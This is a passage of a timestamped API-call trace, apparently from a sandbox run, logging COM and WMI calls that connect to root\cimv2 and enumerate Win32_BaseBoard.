Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x1de45c | out: ppv=0x1de45c*=0x5060b50) returned 0x0 [0124.275] WbemDefPath:IWbemPath:SetText (This=0x5060b50, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0124.275] WbemDefPath:IUnknown:Release (This=0x5060b50) returned 0x0 [0124.275] SysStringLen (param_1="root\\cimv2") returned 0xa [0124.275] WbemDefPath:IWbemPath:SetText (This=0x5060ab8, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0124.275] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5060ab8, puCount=0x1de4c8 | out: puCount=0x1de4c8*=0x2) returned 0x0 [0124.275] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5060a20) returned 0x0 [0124.275] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5060ab8, uIndex=0x0, puNameBufLength=0x1de490*=0x0, pName=0x0 | out: puNameBufLength=0x1de490*=0x5, pName=0x0) returned 0x0 [0124.275] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060b50 [0124.275] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5060ab8, uIndex=0x0, puNameBufLength=0x1de490*=0x5, pName="\xc80\x506\xc4\x506" | out: puNameBufLength=0x1de490*=0x5, pName="root") returned 0x0 [0124.275] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0124.275] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5060a20, uIndex=0x0, pszName="root") returned 0x0 [0124.275] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5060ab8, uIndex=0x1, puNameBufLength=0x1de490*=0x0, pName=0x0 | out: puNameBufLength=0x1de490*=0x6, pName=0x0) returned 0x0 [0124.275] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060ce8 [0124.275] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5060ab8, uIndex=0x1, puNameBufLength=0x1de490*=0x6, pName="\xc4\x506\xc4\x506\x32" | out: puNameBufLength=0x1de490*=0x6, pName="cimv2") returned 0x0 [0124.275] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0124.275] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5060a20, uIndex=0x1, pszName="cimv2") returned 0x0 [0124.275] WbemDefPath:IUnknown:Release (This=0x5060ab8) returned 0x0 [0124.275] WbemDefPath:IWbemPath:GetText (in: This=0x5060a20, lFlags=4, puBuffLength=0x1de4e4*=0x0, pszText=0x0 | out: puBuffLength=0x1de4e4*=0xf, pszText=0x0) returned 0x0 [0124.276] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060ab8 [0124.276] WbemDefPath:IWbemPath:GetText (in: This=0x5060a20, lFlags=4, puBuffLength=0x1de4e4*=0xf, pszText="୰ԆৠԆ2" | out: puBuffLength=0x1de4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.276] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0124.276] WbemDefPath:IUnknown:Release (This=0x5060a20) returned 0x0 [0124.276] WbemLocator:IWbemLocator:ConnectServer (in: This=0x50608e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1de56c | out: ppNamespace=0x1de56c*=0x506d194) returned 0x0 [0125.217] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506c898 [0125.217] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d1a8 [0125.217] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d208 [0125.217] WbemLocator:IUnknown:QueryInterface (in: This=0x506d194, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de43c | out: ppvObject=0x1de43c*=0x8b4974) returned 0x0 [0125.217] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8b4974, pProxy=0x506d194, pAuthnSvc=0x1de42c, pAuthzSvc=0x1de430, pServerPrincName=0x0, pAuthnLevel=0x1de458, pImpLevel=0x1de454, pAuthInfo=0x0, pCapabilites=0x1de444 | out: pAuthnSvc=0x1de42c*=0xa, pAuthzSvc=0x1de430*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1de458*=0x6, pImpLevel=0x1de454*=0x2, pAuthInfo=0x0, pCapabilites=0x1de444*=0x1) returned 0x0 [0125.217] WbemLocator:IUnknown:Release (This=0x8b4974) returned 0x1 [0125.217] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0125.217] GetCurrentThreadId () returned 0x71c [0125.217] WbemLocator:IUnknown:QueryInterface (in: This=0x506d194, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de46c | out: ppvObject=0x1de46c*=0x8b4974) returned 0x0 [0125.217] WbemLocator:IClientSecurity:CopyProxy (in: This=0x8b4974, pProxy=0x506d194, ppCopy=0x1de470 | out: ppCopy=0x1de470*=0x506d304) returned 0x0 [0125.217] WbemLocator:IUnknown:QueryInterface (in: This=0x506d304, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de388 | out: ppvObject=0x1de388*=0x8b4974) returned 0x0 [0125.217] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8b4974, pProxy=0x506d304, pAuthnSvc=0x1de3ac, pAuthzSvc=0x1de39c, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x1de3ac*=0xa, pAuthzSvc=0x1de39c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0125.217] WbemLocator:IUnknown:Release (This=0x8b4974) returned 0x3 [0125.217] WbemLocator:IUnknown:QueryInterface (in: This=0x506d304, riid=0x74fc34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de360 | out: ppvObject=0x1de360*=0x8b4994) returned 0x0 [0125.218] WbemLocator:IUnknown:QueryInterface (in: This=0x506d304, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de364 | out: ppvObject=0x1de364*=0x8b4974) returned 0x0 [0125.218] WbemLocator:IClientSecurity:SetBlanket (This=0x8b4974, pProxy=0x506d304, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0125.218] WbemLocator:IUnknown:Release (This=0x8b4974) returned 0x4 [0125.218] WbemLocator:IUnknown:Release (This=0x8b4994) returned 0x3 [0125.218] WbemLocator:IUnknown:Release (This=0x8b4974) returned 0x2 [0125.218] WbemLocator:IUnknown:AddRef (This=0x506d304) returned 0x3 [0125.218] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d318 [0125.218] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506c968 [0125.218] WbemLocator:IUnknown:Release (This=0x506d194) returned 0x2 [0125.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0125.218] GetCurrentThreadId () returned 0x71c [0125.218] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0125.218] GetCurrentThreadId () returned 0x71c [0125.218] WbemLocator:IUnknown:QueryInterface (in: This=0x506d304, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de530 | out: ppvObject=0x1de530*=0x8b4974) returned 0x0 [0125.218] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8b4974, pProxy=0x506d304, pAuthnSvc=0x1de520, pAuthzSvc=0x1de524, pServerPrincName=0x0, pAuthnLevel=0x1de550, pImpLevel=0x1de554, pAuthInfo=0x0, pCapabilites=0x1de538 | out: pAuthnSvc=0x1de520*=0xa, pAuthzSvc=0x1de524*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1de550*=0x6, pImpLevel=0x1de554*=0x3, pAuthInfo=0x0, pCapabilites=0x1de538*=0x20) returned 0x0 [0125.219] WbemLocator:IUnknown:Release (This=0x8b4974) returned 0x2 [0125.219] CreatePointerMoniker (in: punk=0x506c898, ppmk=0x1de6e0 | out: ppmk=0x1de6e0*=0x8b2cf0) returned 0x0 [0125.219] IUnknown:AddRef (This=0x506c898) returned 0x2 [0125.219] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0125.219] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0125.219] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0125.219] WbemLocator:IUnknown:Release (This=0x50608e8) returned 0x0 [0125.219] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0125.219] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0125.219] WinMGMTS:IUnknown:Release (This=0x5060850) returned 0x0 [0125.220] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0125.228] IUnknown:QueryInterface (in: This=0x8b2cf0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddfd4 | out: ppvObject=0x1ddfd4*=0x8b2cf0) returned 0x0 [0125.256] IUnknown:QueryInterface (in: This=0x8b2cf0, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ddf90 | out: ppvObject=0x1ddf90*=0x0) returned 0x80004002 [0125.256] IUnknown:QueryInterface (in: This=0x8b2cf0, riid=0x74a60b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1dde84 | out: ppvObject=0x1dde84*=0x0) returned 0x80004002 [0125.257] IUnknown:AddRef (This=0x8b2cf0) returned 0x3 [0125.257] CoGetContextToken (in: pToken=0x1dde1c | out: pToken=0x1dde1c) returned 0x0 [0125.257] CoGetContextToken (in: pToken=0x1ddde0 | out: pToken=0x1ddde0) returned 0x0 [0125.257] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dde14 | out: ppvObject=0x1dde14*=0x8793dc) returned 0x0 [0125.257] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1dde44 | out: pAptType=0x1dde44*=3) returned 0x0 [0125.257] IUnknown:Release (This=0x8793dc) returned 0x1 [0125.257] IUnknown:QueryInterface (in: This=0x8b2cf0, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dde04 | out: ppvObject=0x1dde04*=0x8b2d04) returned 0x0 [0125.258] IMarshal:GetUnmarshalClass (in: This=0x8b2d04, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1dde0c | out: pCid=0x1dde0c*(Data1=0x306, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0125.258] IUnknown:Release (This=0x8b2d04) returned 0x3 [0125.258] CoGetContextToken (in: pToken=0x1dde14 | out: pToken=0x1dde14) returned 0x0 [0125.258] IUnknown:AddRef (This=0x8b2cf0) returned 0x4 [0125.258] IUnknown:QueryInterface (in: This=0x8b2cf0, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dde88 | out: ppvObject=0x1dde88*=0x0) returned 0x80004002 [0125.258] IUnknown:Release (This=0x8b2cf0) returned 0x3 [0125.258] IUnknown:Release (This=0x8b2cf0) returned 0x2 [0125.258] CoGetContextToken (in: pToken=0x1de288 | out: pToken=0x1de288) returned 0x0 [0125.275] CoGetContextToken (in: pToken=0x1de248 | out: pToken=0x1de248) returned 0x0 [0125.275] IUnknown:AddRef (This=0x8b2cf0) returned 0x3 [0125.275] IUnknown:QueryInterface (in: This=0x8b2cf0, riid=0x1de2c4*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de2c0 | out: ppvObject=0x1de2c0*=0x8b2cf0) returned 0x0 [0125.275] IUnknown:Release (This=0x8b2cf0) returned 0x3 [0125.275] IUnknown:Release (This=0x8b2cf0) returned 0x2 [0125.275] IUnknown:Release (This=0x8b2cf0) returned 0x1 [0125.275] IUnknown:Release (This=0x88d410) returned 0x2 [0125.277] CoGetContextToken (in: pToken=0x1de314 | out: pToken=0x1de314) returned 0x0 [0125.277] CoGetContextToken (in: pToken=0x1de2d4 | out: pToken=0x1de2d4) returned 0x0 [0125.277] IUnknown:AddRef (This=0x8b2cf0) returned 0x2 [0125.277] IUnknown:QueryInterface (in: This=0x8b2cf0, riid=0x1de350*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de34c | out: ppvObject=0x1de34c*=0x8b2cf0) returned 0x0 [0125.277] IUnknown:Release (This=0x8b2cf0) returned 0x2 [0125.277] IUnknown:AddRef (This=0x8b2cf0) returned 0x3 [0125.277] BindMoniker (in: pmk=0x8b2cf0, grfOpt=0x0, iidResult=0x26d8748*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x1de724 | out: ppvResult=0x1de724*=0x506c898) returned 0x0 [0125.277] IUnknown:QueryInterface (in: This=0x506c898, riid=0x26d8748*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de724 | out: ppvObject=0x1de724*=0x506c898) returned 0x0 [0125.287] LoadRegTypeLib (in: rguid=0x74fc364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x1dde4c*=0x0 | out: pptlib=0x1dde4c*=0x8ba148) returned 0x0 [0126.003] ITypeLib:GetTypeInfoOfGuid (in: This=0x8ba148, GUID=0x506c8dc, ppTInfo=0x506c8c4 | out: ppTInfo=0x506c8c4*=0x8bbc9c) returned 0x0 [0126.004] IUnknown:Release (This=0x8ba148) returned 0x1 [0126.004] IUnknown:AddRef (This=0x8bbc9c) returned 0x2 [0126.004] ITypeInfo:RemoteGetTypeAttr (in: This=0x8bbc9c, ppTypeAttr=0x1dde90, pDummy=0xa6616af9 | out: ppTypeAttr=0x1dde90, pDummy=0xa6616af9) returned 0x0 [0126.011] ITypeInfo:LocalReleaseTypeAttr (This=0x8bbc9c) returned 0x8b0398 [0126.011] IUnknown:Release (This=0x8bbc9c) returned 0x1 [0126.011] CoGetContextToken (in: pToken=0x1dde1c | out: pToken=0x1dde1c) returned 0x0 [0126.012] CoGetContextToken (in: pToken=0x1ddde0 | out: pToken=0x1ddde0) returned 0x0 [0126.012] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dde14 | out: ppvObject=0x1dde14*=0x8793dc) returned 0x0 [0126.012] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1dde44 | out: pAptType=0x1dde44*=3) returned 0x0 [0126.012] IUnknown:Release (This=0x8793dc) returned 0x1 [0126.012] CoGetContextToken (in: pToken=0x1dde14 | out: pToken=0x1dde14) returned 0x0 [0126.012] IUnknown:Release (This=0x8b2cf0) returned 0x2 [0126.037] CoGetContextToken (in: pToken=0x1de358 | out: pToken=0x1de358) returned 0x0 [0126.038] LoadRegTypeLib (in: rguid=0x74fc364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x1de354*=0x0 | out: pptlib=0x1de354*=0x8ba148) returned 0x0 [0126.040] ITypeLib:GetTypeInfoOfGuid (in: This=0x8ba148, GUID=0x506c8cc, ppTInfo=0x506c8c0 | out: ppTInfo=0x506c8c0*=0x8bbcc8) returned 0x0 [0126.040] IUnknown:Release (This=0x8ba148) returned 0x2 [0126.040] IUnknown:AddRef (This=0x8bbcc8) returned 0x2 [0126.040] DispGetIDsOfNames (in: ptinfo=0x8bbcc8, rgszNames=0x1de3b0*="InstancesOf", cNames=0x1, rgdispid=0x1de3a0 | out: rgdispid=0x1de3a0*=5) returned 0x0 [0126.043] IUnknown:Release (This=0x8bbcc8) returned 0x1 [0126.044] IUnknown:AddRef (This=0x8bbcc8) returned 0x2 [0126.044] ITypeInfo:LocalInvoke (This=0x8bbcc8) returned 0x0 [0126.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.044] GetCurrentThreadId () returned 0x71c [0126.044] WbemLocator:IUnknown:AddRef (This=0x506d304) returned 0x3 [0126.044] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.044] GetCurrentThreadId () returned 0x71c [0126.045] IWbemServices:CreateInstanceEnum (in: This=0x506d304, strFilter="Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x1ddffc | out: ppEnum=0x1ddffc*=0x50608dc) returned 0x0 [0126.161] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060918 [0126.161] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5060978 [0126.161] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d378 [0126.161] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506c9a8 [0126.161] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x506d3d8 [0126.161] IUnknown:QueryInterface (in: This=0x50608dc, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddf14 | out: ppvObject=0x1ddf14*=0x50608e0) returned 0x0 [0126.161] IClientSecurity:QueryBlanket (in: This=0x50608e0, pProxy=0x50608dc, pAuthnSvc=0x1ddf04, pAuthzSvc=0x1ddf08, pServerPrincName=0x0, pAuthnLevel=0x1ddf30, pImpLevel=0x1ddf2c, pAuthInfo=0x0, pCapabilites=0x1ddf1c | out: pAuthnSvc=0x1ddf04*=0xa, pAuthzSvc=0x1ddf08*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1ddf30*=0x6, pImpLevel=0x1ddf2c*=0x2, pAuthInfo=0x0, pCapabilites=0x1ddf1c*=0x1) returned 0x0 [0126.162] IUnknown:Release (This=0x50608e0) returned 0x1 [0126.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.162] GetCurrentThreadId () returned 0x71c [0126.162] WbemLocator:IUnknown:QueryInterface (in: This=0x506d304, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddef8 | out: ppvObject=0x1ddef8*=0x8b4974) returned 0x0 [0126.162] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8b4974, pProxy=0x506d304, pAuthnSvc=0x1ddee8, pAuthzSvc=0x1ddeec, pServerPrincName=0x0, pAuthnLevel=0x1ddf18, pImpLevel=0x1ddf1c, pAuthInfo=0x0, pCapabilites=0x1ddf00 | out: pAuthnSvc=0x1ddee8*=0xa, pAuthzSvc=0x1ddeec*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1ddf18*=0x6, pImpLevel=0x1ddf1c*=0x3, pAuthInfo=0x0, pCapabilites=0x1ddf00*=0x20) returned 0x0 [0126.162] WbemLocator:IUnknown:Release (This=0x8b4974) returned 0x3 [0126.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0126.162] GetCurrentThreadId () returned 0x71c [0126.162] WbemLocator:IUnknown:QueryInterface (in: This=0x506d304, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddef8 | out: ppvObject=0x1ddef8*=0x8b4974) returned 0x0 [0126.162] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8b4974, pProxy=0x506d304, pAuthnSvc=0x1ddee8, pAuthzSvc=0x1ddeec, pServerPrincName=0x0, pAuthnLevel=0x1ddf1c, pImpLevel=0x1ddf18, pAuthInfo=0x0, pCapabilites=0x1ddf00 | out: pAuthnSvc=0x1ddee8*=0xa, pAuthzSvc=0x1ddeec*=0x0, pServerPrincName=0x0, pAuthnLevel=0x1ddf1c*=0x6, pImpLevel=0x1ddf18*=0x3, pAuthInfo=0x0, pCapabilites=0x1ddf00*=0x20) returned 0x0 [0126.162] WbemLocator:IUnknown:Release (This=0x8b4974) returned 0x3 [0126.162] IUnknown:QueryInterface (in: This=0x50608dc, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddf44 | out: ppvObject=0x1ddf44*=0x50608e0) returned 0x0 [0126.162] IClientSecurity:CopyProxy (in: This=0x50608e0, pProxy=0x50608dc, ppCopy=0x1ddf48 | out: ppCopy=0x1ddf48*=0x506d51c) returned 0x0 [0126.162] IUnknown:QueryInterface (in: This=0x506d51c, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dde60 | out: ppvObject=0x1dde60*=0x506d520) returned 0x0 [0126.162] IClientSecurity:QueryBlanket (in: This=0x506d520, pProxy=0x506d51c, pAuthnSvc=0x1dde84, pAuthzSvc=0x1dde74, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x1dde84*=0xa, pAuthzSvc=0x1dde74*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0126.162] IUnknown:Release (This=0x506d520) returned 0x3 [0126.162] IUnknown:QueryInterface (in: This=0x506d51c, riid=0x74fc34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dde38 | out: ppvObject=0x1dde38*=0x8bcb7c) returned 0x0 [0126.162] IUnknown:QueryInterface (in: This=0x506d51c, riid=0x74fc31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dde3c | out: ppvObject=0x1dde3c*=0x506d520) returned 0x0 [0126.162] IClientSecurity:SetBlanket (This=0x506d520, pProxy=0x506d51c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.298] IUnknown:Release (This=0x506d520) returned 0x4 [0126.298] WbemLocator:IUnknown:Release (This=0x8bcb7c) returned 0x3 [0126.298] IUnknown:Release (This=0x50608e0) returned 0x2 [0126.298] IUnknown:AddRef (This=0x506d51c) returned 0x3 [0126.298] IUnknown:Release (This=0x50608dc) returned 0x2 [0126.298] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1ddfb4 | out: pperrinfo=0x1ddfb4*=0x0) returned 0x1 [0126.298] WbemLocator:IUnknown:Release (This=0x506d304) returned 0x2 [0126.298] IUnknown:Release (This=0x8bbcc8) returned 0x1 [0126.301] LoadRegTypeLib (in: rguid=0x74fc364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x1ddc50*=0x0 | out: pptlib=0x1ddc50*=0x8ba148) returned 0x0 [0126.302] ITypeLib:GetTypeInfoOfGuid (in: This=0x8ba148, GUID=0x5060950, ppTInfo=0x5060938 | out: ppTInfo=0x5060938*=0x8bbdd0) returned 0x0 [0126.302] IUnknown:Release (This=0x8ba148) returned 0x3 [0126.302] IUnknown:AddRef (This=0x8bbdd0) returned 0x2 [0126.303] ITypeInfo:RemoteGetTypeAttr (in: This=0x8bbdd0, ppTypeAttr=0x1ddc94, pDummy=0xa66168fd | out: ppTypeAttr=0x1ddc94, pDummy=0xa66168fd) returned 0x0 [0126.303] ITypeInfo:LocalReleaseTypeAttr (This=0x8bbdd0) returned 0x8b0398 [0126.303] IUnknown:Release (This=0x8bbdd0) returned 0x1 [0126.303] CoGetContextToken (in: pToken=0x1ddc20 | out: pToken=0x1ddc20) returned 0x0 [0126.303] CoGetContextToken (in: pToken=0x1ddbe4 | out: pToken=0x1ddbe4) returned 0x0 [0126.303] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddc18 | out: ppvObject=0x1ddc18*=0x8793dc) returned 0x0 [0126.303] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1ddc48 | out: pAptType=0x1ddc48*=3) returned 0x0 [0126.303] IUnknown:Release (This=0x8793dc) returned 0x1 [0126.304] CoGetContextToken (in: pToken=0x1ddc18 | out: pToken=0x1ddc18) returned 0x0 [0126.304] CoGetContextToken (in: pToken=0x1de5dc | out: pToken=0x1de5dc) returned 0x0 [0126.304] CoGetContextToken (in: pToken=0x1de59c | out: pToken=0x1de59c) returned 0x0 [0126.305] CoGetContextToken (in: pToken=0x1de624 | out: pToken=0x1de624) returned 0x0 [0126.306] LoadRegTypeLib (in: rguid=0x74fc364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x400, 